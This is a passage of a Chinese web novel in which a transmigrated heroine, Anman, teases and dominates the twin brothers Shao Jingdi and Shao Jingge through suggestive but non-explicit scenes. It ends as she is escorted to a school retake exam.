韶景荻对着这几个人的纠葛,充满兴趣,真的非常非常想知道,几个人到底发生了什么,到底是多有意思?多有趣味?才会让那两个人都神魂颠倒,无法自拔。 韶景荻坐在床边,撒娇似地开口:“很简单,你把你对崔英朗和江赫做过的事,再对我做一遍,好不好?” 安蔓眉头挑了一下,“所有事?” “你们的对话、动作,我都想知道。” 韶景荻学着她的语气说,楚楚可怜说,“好不好嘛。” 安蔓又挑一下眉毛。 韶景荻在原著里,是个乐子人,他是臭名昭著的风纪会副会长,非常恶劣、喜怒无常,经常故意制造混乱,引起骚动,混乱、恐惧,是他兴奋的源头。 他非常热衷于玩弄他人心态,肆意妄为,即使对方是否濒临绝境,崩溃求饶,也只会站在一旁愉快地欣赏。 玩弄这样的人,让人有种脚踩钢绳的刺激感。 安蔓:“当然可以,而且我现在,还能提前送你一点利息。” 既然对方主打送上门了,她当然不会错过。 安蔓挑剔地看着他此刻的模样。 韶景荻西装革履,唇红齿白,还穿着昨天赴宴的衣服,微卷黑发垂落额头,眼下微露疲态,气质优雅得体,眼睛黑黝黝的。 “很好看。” 安蔓伸出手,指尖落在他的眼角,微微抖动的睫毛,落在他的嘴唇上,最后按住他的脖子,“有狗绳吗?” 韶景荻眨了一下眼睛,对这种触碰略感怪异,忍不住想退缩,最后忍耐住了这种冲动。空气在短短的几秒变热,安蔓靠的很近。 他忽然发现她穿着白色睡裙,领口空空荡荡,挂在肩上,露出大片白嫩的皮肤。 她身材丰满,居然没有穿内衣,隐约可见一点凸起的轮廓。 他刚刚还这样抱着她,搂着蹭。 这是非常失礼的行为。 韶景荻的耳朵变红,移开目光,又移了回来,“没有。” 安蔓指尖遗憾的划过他的脖子,睡裙松松的勾勒她的轮廓,“下次记得准备一个。” 接着指尖继续向下,划过他的领子,突然拽着领带,一把抽了下来,接着当着他的面,将领带覆在他的眼睛上,绕到后面打了个结。 视野瞬间暗了下来,韶景荻眼睛被遮住,只露出了鲜红的嘴唇和鼻梁,嘴唇动了一下,“为什么?” 安蔓的声音柔柔的,把领带系紧了,“因为小狗应该栓绳。” 韶景荻的视野被挡住,只剩下了触觉、嗅觉、听觉,其他感官变得更加敏锐。能感觉她的指尖在胸口轻轻拂过,力度若有若无。 接着,大腿忽然一沉,安蔓骑在他的大腿上,热度一下子蔓延过来。 韶景荻感觉刺激的要命!现在的感受让他新奇又期待,甚至媲美山谷滑雪、高空跳伞,这些带来肾上腺素的极限运动。 迅速调动的感官,让他整个身体紧绷绷的,他没吃过猪肉也看过猪跑,脸颊变得更热了,声音都紧了,“这里不合适。” 安蔓的声音低低笑了一下,“不合适什么?你在想什么奇怪的东西,方便告诉我吗?” 接着她的手指摸索着他的嘴唇,捏着下巴让他抬起头,指尖忽重忽轻。 崔英朗和江赫他们,体验的就是这个吗? 韶景荻莫名其妙的走神了,等反应过来之后,脸颊开始不明原因地发烫,安蔓按着他的嘴唇,忽然靠得很近,太近了,能感觉到她的呼吸,能闻到她身上的香味,韶景荻几乎以为她要吻下来,声音发干,“你……” 结果对方只是食指按住他的嘴唇,说了一句,“张口。” 韶景荻没有反应过来,听了这句话,下意识地张了口,刚觉得不妥,想要闭上,就被她不紧不慢地伸出一个手指,按了按牙齿,“好尖啊,咬人应该很痛吧。” 韶景荻为自己辩解:“不痛的。” 安蔓哼了一声,“你怎么知道不痛,会被咬的又不是你。” 韶景荻撒娇似的哼了一下:“不痛的,我会很轻的咬。” 辩解话一出口,他又觉得奇怪,摇摇头,“不对,我不咬人。” 但安蔓还是不满意,声音居高临下充满骄横,手指按在他的牙齿上, 不让他闭口,略带命令道,“下次带个口枷来。” 韶景荻被她忽上忽下的态度弄的有些眩晕,他牙齿发酸,嘴唇无法闭合,含含糊糊道:“我不咬人……算了,下次我带了一个来。” 安蔓终于满意了,夸奖道:“乖狗狗,好乖啊,真乖,好狗狗应该被奖励。” 她坐在他的腿上,伸手轻轻掐住他的脖子。韶景荻被遮住了眼睛,呼吸不畅,鲜红的嘴唇微微张开。 他黑色发丝落在耳边,耳朵红透了,声音断断续续,“……然后?” “然后是奖励。”安蔓说。 训韶景荻的感觉和其他人都不同,他虽然在书里被描述的臭名昭著,恶劣逼人,但倒是比其他人更好糊弄,坐在床上特别乖,让做什么做什么,是个十足的变态。 在她面前认认真真当狗,怎么做也不反抗。即使被推倒在床上,掐着了脖子,也只是紧绷了大腿。 “真乖。” 安蔓掐着他的脖子,让他抬起了头,露出半张隽秀的脸和微红的嘴唇,低头亲了下去,“好狗狗应该被奖励。” 她没打算深吻,只是浅啄一下,就慢条斯理地松开了手,指尖在领带边摩挲一下,微微用力,把他向后按倒在床上,然后收了手,抬起头。 接着,忽然和站在门外、不知看了多久的韶景戈对视上。 安蔓:“……” 第44章 第44章感 43. 韶景戈的性格,比起弟弟,似乎更平庸。虽然是风纪会的会长,但是存在感比喜欢掀起腥风血雨的韶景荻弱了很多。 他在信息密集,风云变动的论坛也不怎么出现,韶景荻的标志是绅士黑兔,而他的是洁白无瑕的白兔。 在安蔓来到这里之后,看过几次黑兔头像出现,韶景荻动态活跃,代表风纪会行使权力,驱逐了一个社科部的讲师、掀起一次审判,甚至取缔了一个闹事的社团。而白兔,却从来没有出现过。 安蔓对他的印象相对也淡,只记得,他看起来“乐善好施”,“脾气颇佳”,“乐于助人。”,不怎么发火。 “不怎么发火”本人站在客房门口,衣冠楚楚,垂落的黑发搭在他白皙脸颊上,天然地带上那种温文尔雅、养尊处优的气质。 他端着一杯咖啡,面无表情,直勾勾看着她。 安蔓指尖僵住,喉咙滚动一下。 韶景荻倒在床上,漆黑发丝混乱地贴在耳后,声音软绵绵的,“怎么了,怎么突然不说话了?” 他没有听到回复,伸手拉住领带,向上一扯,露出半只灰眼睛,又顺着安蔓的视线扭过头,嘴角上扬,“你怎么来了!” 韶景戈手里端着一杯热气腾腾的咖啡,眼睛还看着安蔓,淡淡道,“我来看看你在干什么。” 韶景荻嘴唇上扬,语气雀跃,“现在你看到了吧,快走快走,不要打扰我们了!” 韶景戈还是没有看他,视线直直看向安蔓,“可以,但我想和安蔓小姐说几句话。” “真扫兴。” 韶景荻一把掀开领带,兴致缺缺地扬了扬手,也没了继续的兴趣,转头对着安蔓眨眨眼,眼睛闪闪发亮,“去吧去吧,随便听听就好,不要当真,快点回来。” 韶景戈:“你出去。” 韶景荻撇了撇嘴,跳下床,走出去,慢吞吞地走出。 等他出去了,韶景戈才移开目光,慢慢开口,字斟句酌,“韶景荻小时候身体很差。” 安蔓表情镇定,就像她没有当人面玩人家弟弟,“……是吗?” 韶景戈莞尔一笑,语气温和,但是目光居高临下,略带玩味,“他从小身体弱,虽然现在看起来很健康,但是我们全家都很担心他的身体,每季度定期体检。” 安蔓穿着拖鞋,长长的睡裙垂在腿边,白裙黑发,瞳色分明,问道,“……你想说什么。” “希望你们不要玩一些过激的东西。” 安蔓:“……” 韶景戈说完了,目光落在她的脸上,平静注视她的反应。 安蔓手指微动,眼神冷淡,站在被褥混乱、仿佛被人滚过的床边,指尖落在身侧,顶着那道凛冽目光,镇定自若,像是什么都没发生。 ……是的!就是玩了,但是怎么想,也是这个不知道看了多久的变态兄长更需要反省! 而且,不光是刚才。 他现在还在看她。 韶景戈的目光轻轻滑过她的身体。 安蔓发现,对方在注视她触碰韶景荻的部位。 摩挲脸颊的手指,带着一点水光微红嘴唇,空荡荡裙摆下白皙赤裸的双腿。 他的目光依次落在她的指尖、嘴唇、大腿上。 安蔓被他看得微微发热,不适地蜷了蜷。 他视线平静而冷淡,即使是这么无礼的注视,姿态依旧彬彬有礼,客气文雅:“欢迎来到我家,希望你接下来在这里,能度过一个愉快的一周。” 安蔓:“一周?” “他还没告诉你?”韶景戈喝了一口黑咖啡,轻飘飘地收回目光,抬手在门上敲了一下,“别偷听了,进来。” 韶景荻从门外迈步出来,指尖还挂着那个打了结的蓝色领带,慢悠悠地解开了结,握在手里,笑容灿烂,“哎呀,不要拆穿我嘛。” 他伸手把兄长推出门外,一边推一边关门,“好了,啰唆完了,先不要影响我们的二人世界,出去。” 然后将门反锁了,走到安蔓身边,将她按在床边坐下,把头一弯,理直气壮地靠着她的肩膀,“你不是换到特招生寝室住了吗,谈灵秋和你一个寝室的,现在她回来了,你还敢住?” 安蔓心口微微一沉。 这确实是个问题,她其实一直知道那个六人寝里“病假”的舍友是谁,不过因为剧情显示谈灵秋下学期才复学,加上没有选择才留下,“住在你家不好……” 韶景荻理直气壮,“有什么不好的,反正我父母亲戚都不在家里,只有我和韶景戈。” 他算了一下,安蔓请了一个月假,直接请到了个人测试那天,于是在后面又加了一句,“我还能帮你辅导功课。” 安蔓考虑了一会,表情仍然有些为难,微微启唇,嘴上故作推辞,“这样不行的……你哥哥看起来不喜欢我。” “你怎么知道?” 安蔓茶里茶气:“他很严肃,一进来就批评我,看起来很讨厌我,不知道是不是因为害怕我带坏你。” 话音刚落,韶景荻呆了一下,突然捂着肚子笑了起来。 他笑得浑身发颤,难以克制,食指上的领带都抓握不住,滑落在地上,“哈哈哈!” 安蔓被他笑冷了脸,“很搞笑吗?” 韶景荻笑得眼泪都出来了:“不是……不是这个原因,哈哈!我差点忘了,我告诉你一个秘密。” 安蔓的肩膀一沉,对方又靠了下来,毛茸茸的发尖挠着她纤细的脖颈,带来一阵痒意,声音通过震动从耳垂低低传来,“我和韶景戈是双生子,从小共感,在有些时候,偶尔,嗯……在有些特殊的情况下能隐约感知到对方在做什么。” 安蔓:“……什么意思?” “意思是,意思是,哈哈哈!” 韶景荻恶劣地笑了,“无论你对我做了什么,他都能感觉到,相当于你一次搞两个,刺激吧。” 第45章 第45章用餐 45. “你相信了?笨蛋。”韶景荻语气一转,“我开玩笑的, 没想到你这么容易就信了。” 安蔓却没那么好糊弄过去。 共感……这种事听起来离奇,但世界上也不是没有这种事。她以前还看过新闻,什么弟弟被害,姐姐被托梦藏尸点,报警后果然在那个地方找到了弟弟的尸体;什么母亲心中不安难受,觉得是子女出了事,赶紧打电话过去验证结果真的出事。更何况这是个小说世界。 一对自小就没有分离过,衣食住行都在一起的双生子,在这种迷信奇特的家庭,万一真有那种玄妙的感应,也不是没可能。 要是真的,安蔓对韶景荻做什么,另一个人都能感觉到,简直……太古怪了。 安蔓追问:“真的假的。” 韶景荻却不直接回答,语气意味深长,“你猜?” 安蔓:“……你骗我?” 韶景荻挑眉,“这可是个大秘密,我悄悄告诉你了,居然还怀疑我,真让我伤心。” 他从床边站起来,看了一眼时间,打了个哈欠,懒洋洋地挥了挥手,不再提这个话题,“好快啊,已经九点了。” 韶景荻昨晚熬了个通宵,在崔英朗的病房陪护了一晚,虽然大家的朋友关系比较疏离,但是他既然准备抢人,还是本着仅剩的良心和兄长一起看看情况。 刚刚还好,一放松下来,整个人的困意就往上涌,现在脸上已经出现了淡淡的疲惫,“累死了,我进去睡一觉,晚上见。” “那我呢?”安蔓问。 韶景荻笑吟吟地说,“你可以随便走走,韶家很大,有很多好玩的地方,只要别离开就行,如果想继续备考的话也ok,我等会让人给你送书。” 安蔓眼睁睁地看着他挥了挥手,几句话撂开话题,干脆利落地站起来,把她扔在原地,施施然走了。 几分钟后,果然有佣人敲响房门,客气道,“安蔓小姐,请问现在方便进来吗?” “方便。” 三个穿着制服的佣人推开门,走进房间,一位手里抱着一摞书,一位送上了一套配套衣物,还有一位,手里拿过来了一条充电器。 三人分别将几样物品放置在一旁,恭恭敬敬对她行了个礼,接着收拾好韶景荻留下的早餐,为花瓶换了鲜花,礼貌地转身离开,“如果有什么需要,请随时叫我。” …… 安蔓在屋里呆立一会,韶景荻到最后,也没有回答两人是否真的共感这个问题,还走了。 怎么会有人这么不靠谱!他直接把她扔在这了! 她蹙起眉毛,拉起窗帘,手机电量确实即将告罄,充电器是适配的。 安蔓坐在充电口一边充电,一边给栗纯打了电话,直接了当问她,“你看到上午谈灵秋发的那个帖子了吗?” 栗纯的声音有点心虚,“看、看到了,怎么办,影响有点大!到处都在讨论这件事。” 德川是个赤裸裸的阶级分明社会,上下等级分明,上层对下层的压迫几乎是理所当然,司空见惯,只要不过分,特招生通常都会选择隐忍。只要忍过毕业,一切便能海阔天空。 说来也奇怪,在学校里肆意妄为的一群人走上社会之后大多数——至少在表象上,都会变的人模狗样起来,不会如以前一样恣意。有些有“良心”的,甚至会对以前的行为进行补偿。 所有人都抱着“忍过去就好”的念头。 “你做事怎么那么不谨慎,反正你完了,如果她手里还有其它证据,向风纪会举报被核实了,别说什么公投和考试了,你现在就会被赶出学校,赶出首都!你最近不应该搞得那么大,你看现在被她注意到了,其实忍忍就好了!”栗纯恼火说。 栗纯作为安蔓的狗腿跟班,不可能对这种事情毫不知情。 两个人都不是好人,她虽没在里面掺和了一脚,但不代表她是干净。 她很怕自己被牵连到。 “我知道了。”安蔓深吸了一口气,她站在窗外向下看去。 白天的韶家看起来更大了,气势恢宏,占地极广,楼底有列队保镖在外层巡逻,草坪的中央耸立的巨型座天使雕像,白天看起来更加生动,无论是肌肉和皮肤的纹理、还是羽毛上的细节皆栩栩如生,薄薄的水雾喷涌而出,在阳光下闪出五彩的色泽。 安蔓想了想还是给栗纯透露了一点信息,避免她因为过度畏惧,不再提供帮助,“我在韶家,你知道他们家有什么忌讳吗?” “什么?哪?哪个韶?你别告诉我是风纪会那个韶???”栗纯一蹦三跳,声音高的要冲破电话。 “是。” 栗纯声音震耳欲聋:“你怎么跑去那里了,在德川,不对,在首都,你知道什么人才能被邀请去他们家做客,到底怎么回事!!算了、算了、我已经搞不懂了你,这个世界怎么变得这么可怕,你到底怎么做到的!” 安蔓没有说话,她拿着被佣人送进来的衣物,关上门窗,拉上窗帘,一边听,一边顺便试了试衣服。 ……尺码非常合身。 栗纯:“禁忌,禁忌好像,我想想,他们家好像有点虔信?每年都会去教堂捐款,但从来不去做礼拜,也不入教、供像,也从不吃素。” “有什么忌讳吗?” 安蔓站在镜子前,穿上昨天的高跟鞋。 镜子里,她穿着淡粉色的立领蝴蝶结掐腰长裙,腰肢纤细美丽,外面穿上一件白色的大衣外套,如同吐蕊初绽的清丽玫瑰。 黑瞳孔,漆黑发色,脸色苍白清丽,白天卸妆后仔细看,才能发现眼角有一颗淡淡的小痣。 栗纯:“忌讳……一时半会儿想不出来。倒是风纪会两位少爷,我听说过一点,他们非常团结,如果欺辱了其中一位,另一位会像疯狗一样咬住罪魁祸首拼命报复。” “废话。” 安蔓漆黑的瞳孔,凑近了镜子,静静地对着镜中看了一会,伸手点住微扬的眼尾。 几天前,这具身体好像还没这颗痣。 她记得原主的身体好像没有这颗痣,反倒……是她自己有一颗。 “我先挂电话了,等你收到其他消息,记得再通知我。” 安蔓倏忽收回手指,被自己乱七八糟的脑补,惊出一身鸡皮疙瘩,简单敷衍几句就挂电话。 “可能本来就有,只是我之前一直没注意到。”她自我说服了一会,在一边坐下,从书里挑了一会,开始看书. 韶景荻睡足了一觉,等睁开眼睛,已经接近天黑。神清气爽,踱步走出房间,餐厅的长桌上摆满了丰盛的晚餐,璀璨灯光将整个房子照得明亮如晖,他见到韶景戈已经提前到了,和兄长打了个招呼,总感觉缺少了什么。 想了想,伸手拉住了一位上菜的佣人,“安蔓小姐走了吗?怎么没跟我们一起吃。” 被他抓到的人回答,“没走,小姐今天在房间里看了一天的书,连午饭都是让人端上去吃的。” 韶景荻挑了挑眉,满足了,“这么乖!那你叫她下来吃,哪有让客人自己待着的道理!” 安蔓被喊下来的时候,还有些恍惚,她在书里沉浸了一天,甚至有些分不清白天黑夜。 一走下来,就见韶家这对双生子一坐一站,齐齐看向她。 韶景戈桌前摆着一本摊开的杂志,目光淡淡,韶景荻则站在一边,对她热情地挥了挥手,动作幅度很大,连头顶微卷的发丝都雀跃起来。 “来,请坐。”韶景荻扫过她身上的衣服,十分满足,彬彬有礼地拉开旁边的座椅,示意她落座,“真好看,不愧是我连夜挑选,让人买回来的衣服。” 安蔓慢吞吞走下来,脑子还没有彻底转出来。韶景戈坐在主桌,一动不动,没有迎接的打算。 她平静地走下来,在旁边坐下,只是一看到这两兄弟,脑中仍然冒出上午的疑问。 共感。 ……是真的吗? 韶景戈见人到齐,让人停止上菜,伸手握住餐具,开始动作优雅地切着牛排,“吃饭吧。” 等他开始动作,韶景荻才拿过餐旁边的餐巾,轻轻展开,铺在腿上,随口说,“云家那个什么时候走的。” 他记得早上来的时候,云元奇还在一楼等着,最后是兄长去应付的,他完全没放在心上,只是现在见到安蔓想起来了。 这个人,虽然没有给他留下什么重要的印象,还有点自作主张,但是把安蔓送来这点完全是神来之笔,值得夸奖。 “早上。”韶景戈插起一块牛肉,淡淡说,“对了,安蔓小姐,这里我应该跟你道个歉,云先生看来完全理解错我的意思,误将你送来这里,很抱歉。” 安蔓坐下了,温温和和,“没事。” 韶景荻热情洋溢,等她一坐下,便凑了过去,为她端了一 碗鱼粥,让人接连不断地将一些丰盛菜品摆在周边。 他一直觉得安蔓很瘦,腰肢纤细,手指也细,脸色缺乏血色,白皙脆弱,缺乏营养,很容易被人咬死,需要珍惜对待。 现在更是贴心地准备为她投喂一些,好吃又滋补的东西,“你有什么过敏史吗?” 安蔓温顺白皙,白衣粉裙,在灯光被衬托得更加洁净,如同一枝脆弱珍贵的花,“没有。” “那有什么讨厌的食材吗?”韶景荻在心里画了个勾,又准备让医生给她检查一遍,看看是否携带什么疾病,声音充满笑意,“换句话说,你有什么喜欢的食材吗——” 他的声音忽然顿住,手里端的鱼粥也顿了一下,指尖轻轻哆嗦。 安蔓跷起二郎腿,单手支着下巴,微卷的黑发顺服地垂在身后,鞋尖抵着他的小腿,甜甜道,“没有。” 粉色的裙摆下,她白皙纤细的小腿轻轻晃动。 黑色高跟鞋抵着他的小腿轻蹭,鞋尖挑开裤腿,逐渐往上,“韶少爷呢,有什么忌口吗?” 两个韶少爷同时看向她。 韶景戈忽然开口,“韶景荻,专心吃饭。” 那种微妙的痒意顺着小腿向上延伸,感觉十分奇妙,除了痒,还有一种……感觉。 “……嗯。”韶景荻小腿紧绷,面不改色心不跳,端给她的粥却握紧了。 安蔓的表情漫不经心,动作却没有停,接过他手里的粥,低头喝了一口,甜甜说,“真好喝,谢谢亲爱的。” “不客气……”韶景荻的脸上微妙变化,声音也低了,绷的紧紧的。 叮当。 银质餐叉落在餐盘上,发出一声脆响。 “……”韶景戈忽然停下动作,目光冷漠傲慢,堪称无礼地直视她。 “你也多吃点。”安蔓笑容甜甜的,仿佛正在撩拨的人不是她,眼神直直看向端正优雅、文质彬彬韶景戈,动作越发肆意。 共感……不知道是否是真假。 如果是真的。 韶景戈现在也能感觉到,她在和他弟弟在桌子下做什么吗? 第46章 第46章考试 46. 灯光下,韶景戈衣衫楚楚,气质文雅,端起一杯红酒,抿了一口,依旧是那副斯文有礼,养尊处优的少爷模样。 高高在上,亲和疏离,看不出丝毫被影响的状态,指尖按在高脚杯上,深灰瞳孔越过烛台看她,锐利又轻蔑。 “韶景荻。”他声音低哑,略带警告。 韶家吃饭有让人在旁候着的习惯,所有人照例恭敬低头,长长的桌布垂下,将一切暗潮涌动遮掩。但是,但凡有人敢多看一眼,就能看出端倪。 “唔。”韶景荻含糊地应了一声,眨眨眼,故作无知,“怎么啦。” 韶景戈看出来了! 安蔓的心口加速跳动了几下,有种微妙玩火感,她的声音依旧甜腻腻的,带着一种刻意为之的甜蜜,“是呀,怎么啦?” 她忽然又坐近一点,轻轻牵住韶景荻一只手,暗示道,“哈尼,我想喝粥。” 韶景荻顿了一下,左手拿起桌上的粥,右手被她牢牢牵着,干脆将碗放在桌上,一只手捏住调羹,递在她嘴边,“吃吧公主。” 安蔓蹙眉,“烫。” 韶景荻将粥稍微吹了吹,等凉了才递在她嘴边,安蔓喝了,又说,“想吃水果。” 然后慢吞吞地等着韶景荻递来,同时百无聊赖地玩弄着他的手指。 韶景荻的手指修长,指甲被修剪干净,不同于江赫的手指那么冷感,指尖圆润晶莹,手背白皙。 随便一玩,就会泛出淡淡的红。 她不经意般看了对面一眼,韶景戈的手指修长,捏着酒杯,指尖微微泛红,他忽然垂下眼睛,表情变淡了一点,脸色不太好看。 如果……是真的,那么他此时应该隔着桌子,看着弟弟和她挑逗,同时忍耐着指尖若有若无、轻柔酥麻的触碰感。 “葡萄可以吗?”韶景荻在果盘里选了一个,递到她唇边。 “当然可以。”安蔓握住他的手腕,轻轻弯起眼睛,低头咬住葡萄。 韶景荻呼吸加快,被握住的两只手微微发热,一阵酥麻,又痒又怪,安蔓皮肤在灯光下雪白莹润,脸庞白得近乎透明,嘴唇苍白,却被葡萄流出的汁液润湿嘴唇,涂抹上漂亮的色泽。 她温热的呼吸扑打在手背,眼睛看他,嘴角弯起,甜甜蜜蜜地说,“谢谢哈尼,我还要。” 好烂的勾引技术!好直白恶毒的心思! 韶景荻忍不住大笑,几乎不敢去看韶景戈的脸,却很给面子地配合她,转头看着琳琅满目的果盘,又挑了一块西瓜,低头道,“这个可以吗?” 安蔓配合松开了手,又靠近了一点,“当然可以。” 她勾引技术真的很烂,粗浅又直白,但人长得漂亮,声音也很好听,平心而论,还是十分让人心动的。 韶景荻欣然一笑,用叉子插起,亲亲密密将西瓜喂给她,看到她吃到喜欢的东西,微微翘起嘴角,又选了一块,“还要吗?” 哒。 韶景戈放下酒杯,高脚杯里是喝空的红酒透明杯,夜里残留着一点暗红的酒渍,在灯光下鲜艳如血。 他忽然站起来,优雅地擦擦嘴,“我吃饱了,恕我先行离席。韶景荻,你也过来。” “不好。”韶景荻遗憾摇头,“哎呀,生气了,玩过火了,我要去挨训了。” 安蔓松开他的手,表情担忧,指尖却点在他的腰侧,力度软软地画圈,“怎么办,很严重吗?” “一般。” 韶景荻握住她不安分的手。 她面容雪白,在灯光下微微发光,有种近乎透明的脆弱感,眼神却直白,略带玩弄。 “不过会受点教训罢了。” “真糟糕,都怪我还你要挨骂了。”安蔓假惺惺地开口。 “哈哈!”话一出口,不知道怎么被戳中笑点,韶景荻又笑起来。 他自顾自笑了一阵,忽然低头,一手捏起他下巴,迫使她抬起头,脸对着脸,目光直直盯着她的嘴唇。 他看得很深,像是要亲了过来。 安蔓漆黑瞳孔和他对视,水果黏腻的汁液,在她起伏的唇上流动,渗入唇齿,“那怎么办。” 韶景荻的指尖按在她的唇角轻轻摩挲,沾到一点黏腻潮湿的汁水,他手指很热,嘴唇微微咧开,露出一点寒气森森的白牙。 “那有什么办法,你这么有趣,又这么迷人,当然只好承受啦。不过我可是要收代价的,作为为你解决麻烦的代价,希望你给我一个满意的报答。” 他忽然收回手,嘴角笑容咧得很大,握住她的手心,低声道,“我已经买了口枷,主人。” 然后潇洒松开手,将凳子一推,快步追着哥哥走远的方向跟了上去,两人都上了楼,只剩下安蔓一人还在餐桌上,慢吞吞喝粥。 韶景荻被她勾引到了。说得那么拐弯抹角,眼神却很直接。 他想和她上床。 “蠢货。”安蔓咕哝着喝粥。 试探失败,还是不知道共感是真是假。倒是韶景戈再次当面见证她勾引弟弟,敌意加深了。 她微微垮了脸,草草吃完了饭,离开餐桌,有点担心韶景荻这对兄弟到底谈论了什么。按照经验必然又是一堆不利于任务的坏话! 她吃完了饭,往楼 上走,却听到细碎的说话声,不远处宽阔的走廊尽头,有个大露台,通往露台的门开着,里面隐约站着两道影子。 安蔓放慢脚步,高跟鞋在软绵绵的地毯上发不出一丁点声响,越走近声音越清晰。 两道并肩而立,一模一样的身影立在露台,俯瞰着韶家庄园漂亮的夜间景色,音色也一模一样,安蔓只能靠语气和内容分辨说话者。 “我知道你要说什么。”韶景荻的语调微微偏高,声音不定,带着一种懒懒散散的慵懒感,“我知道。” 另一道声音更加沉稳,音质偏低,声音沙哑粗粝,语调文雅,“我希望你知道自己在做什么。” “我当然知道。”面对兄长的告诫,韶景荻依旧是那个玩世不恭的语调,“玩一下啦,你还不知道我吗?玩玩而已,不当真。” 韶景戈说:“玩可以,注意尺度。” 韶景荻唔了声,似乎想起了什么,没有答应,也没有反驳,只是勉强道,“哦。”他站在露台上,懒懒散散往里面看了一下,一下子发现了偷听者的马脚。 韶景戈这个人,很少对人直接出手,通常会警告几次,早上是第一次;刚刚玩得过火了,刻意选在这个地方,同时教训两人,是警告第二次。没有第三次了,事不过三。 韶景戈都有点控制欲旺盛的倾向,什么都爱管。他和韶景戈从小经历不同,性格也略微不同,但喜好极为相似。 韶景荻应了教训,虽然没打算听,但也略微不爽,微微偏了偏头,见里面的人还没走,饶有兴味开口,“哥,说起来,以前我们审美最像了,连宠物都是一起养的,我喜欢的东西你都喜欢,对吧?” 韶景戈语调低沉,灰眼睛平静看着他:“你想说什么。” “好吧,注意尺度。” 太熟悉就是这点不好,一张口对方就知道你要放什么屁。韶景荻投降地举起手说,“我暂时不打扰她了,人家还要考试呢。” “我们两个之间,我就不多说废话了。” 露台极高,视野方便,韶景戈灰眼睛倒映着灯光,姿态挺拔,语调柔和,“当觉得你应付不来了,我会出手解决。” 韶景荻“唔”了一声,再一侧头,门里绰绰的倒影已经消失了,他笑眯眯开口说,“好~” 出手!出什么手,动不动就要出手,神经病! 安蔓偷听得差不多了,回到房间,脱下外套挂在一边,踢掉高跟鞋坐在床上,面无表情地翻开一本书,跟系统吐槽,“可恶,我一定要狠狠玩弄这对破烂兄弟。” 系统已经被她训得不敢还口,大声支持:“好!玩!玩死他们!不过我们现在赶紧学习啊!” 安蔓脸上阴云密布,想起这件事,更痛苦了,她还要努力学习,在一个月通过重考,“天呐,为什么我还要学习。” 系统小心翼翼,不敢还嘴,只是在系统面板上,为她展示归纳好的重点,让她方便复习,轻轻安慰,“还有一周多就结束了。” 安蔓伸手捂住了脸,喉咙里发出了一声摇摇欲坠的呻吟,“救命。” 接下来的整整一周,就如韶景荻所说,他开始收敛,暂时让她专心复习了,而他那个虽然只比他大了十几分钟,但是莫名管的很多、略带爹系的兄长,就像个恶婆婆般出现在两个人相处的每一个角落。 但对学习的阴霾完全冲淡了一切情绪,韶景荻还找了好几套题给她,最终在她要去考试的事件,开车把她送去教学楼,还甜蜜蜜地叮嘱了好几句话。 “只能把你送到这里了,结束了记得我啊。” 韶景荻就像重要考试的家长,笑眯眯地叮嘱,“差点忘记告诉你了,谈灵秋那个帖子当天就删掉了,我们谈好了条件,等你结束了再告诉你。唔,对了,不要乱跑。” 安蔓站在办公楼前,一边看时间,一边听他叮嘱,脚尖朝向电梯,“还有吗?” “当然还有,还是一件特别重要的事。” 韶景荻想了想,“阿朗出院了好几天了,你结束了最好立刻就走,别遇到他了。” 安蔓考试的时间点早就被公布出去了,只要有心,任何人都能蹲点,给她找麻烦。 只是这次是风纪会副会长亲自送她,韶景荻在旁,没人敢上前打扰,许多人识趣避开了,所到之处一片清静。 安蔓的脸皱了下,她好多天没听到这个名字了,一听到,那天血淋淋的记忆涌上心头。 “好。”她听了一串叮嘱,转身走进教学楼. 周一上午,八点三十分。 安蔓走进监理办公室。 她打量了周围环境,沉下心,难受地回忆起学生时紧张感。二年级的监理办公室很大,暖色调的装潢,但各个细节都透露出一种公事公办感。 监理坐在办公室中,看见她走进来,推了推眼镜,脸上没什么表情,客气道,“安蔓小姐,你很准时。” “谢谢。” 监理这个学生没什么感觉,唯一的印象只有漂亮,但是越到后面对方身上的腥风血雨越多,还有学术作弊的嫌疑,让她渐渐变得不喜。 事到如今,也没什么好说的,学校和风纪会共同定下了这场“重考”,通过也就算了,不通过,算是把她自己钉死在墙上了。 “如果你身上带了什么设备,重考前记得及时交出,如果被检测到了,分数直接记0。”监理说。 安蔓吸了一口气,“是的。” “我让人叫你带去考场。”监理点了点头,态度一如既往,刚准备让她站起来,外面忽然响起了一道脚步声。 是那种皮鞋踩在光滑的大理石地面,发出了极为轻微、规律、平缓的声音。 安蔓心跳微微加快,这种熟悉的办公室、严厉的老师,让她略带紧张。 办公室的门被敲响,随后门被推开,脚步声由远及近,踏了进来。 那是一个身材高大的男人,他西装革履,鼻子高挺,嘴唇薄冷,戴着无框眼镜,气质沉稳自持。 他红发绿眼,五官轮廓深而立体,有种与环境格格不入、极具攻击性的英俊。 “英先生。”监理打了个招呼。 “你好。”他踏步走进,手里拿着一沓文件,气场沉着从容,压迫感十足。 监理:“其实让助手拿过来就行,谢谢你亲自跑一趟,放这里吧。英先生。” 放完了文件,他却没走,还是站在旁边,将目光投向安蔓。 他眼睛颜色极淡,是一种漂亮的薄荷色,但是随之而来的压迫感一点不少。 见他看着安蔓,监理也想起来了,“这位是安蔓小姐,上个月你们见过。这位是英鸿祯先生,理事会今年的助理。” 德川有个传统,特殊岗位定期轮岗,比如校医部的和大医院签订了协议,理事会助理由上面直接指派。通常来人都背景深厚,不好惹。 这位英鸿祯上任时间不短,来办公楼的机会不多,却两次都刚好撞见了安蔓,或许是这样,才注意到她了。 监理解释了一下安蔓的情况,顺口提议,“英先生不是顺路吗,方便将小姐顺便带去考场吗?” “方便。”英鸿祯说。 他迈开脚步,走到门口,伸手向外,摆了一个请的姿势,“走吧,安蔓小姐。” 安蔓对这个人也有点印象。他的发色非常显眼,红发绿眼,轮廓鲜明,是那种十分独特,又极具攻击性的五官,不过戴上眼镜后,削弱了那种尖锐感。 只是在看着人的时,那种隐约的锋利感,还是令人如芒在背。 安蔓能感觉对方在看她,淡绿色的眼睛充满审视,眼神并不压迫,但他的身上带着那种出身富裕的纵容傲慢,足够让人感觉不适。 她被看得莫名其妙,咳嗽一声,对方就先开口了,“安蔓小姐,看来在学校遇到了很多问题。” 安蔓搞不清楚他的目的,谨慎,“还好。” 英鸿祯像是在闲散聊天一样,随口道:“其实可以在学校里多交朋友。毕竟多个朋友多条路。” 安蔓被他弄得十分摸不着头脑,“好的?” “这里的学生大多非富即贵,如果你找到了一个好朋友,完全可以让他为你消灾……到了。” 英鸿祯步伐稳定,将她带到了目的地,微微点了点头,便不再说话,像只是随口一提。 说完了,就带她和人员进行了交接,接着表情平淡地转过头,走了。 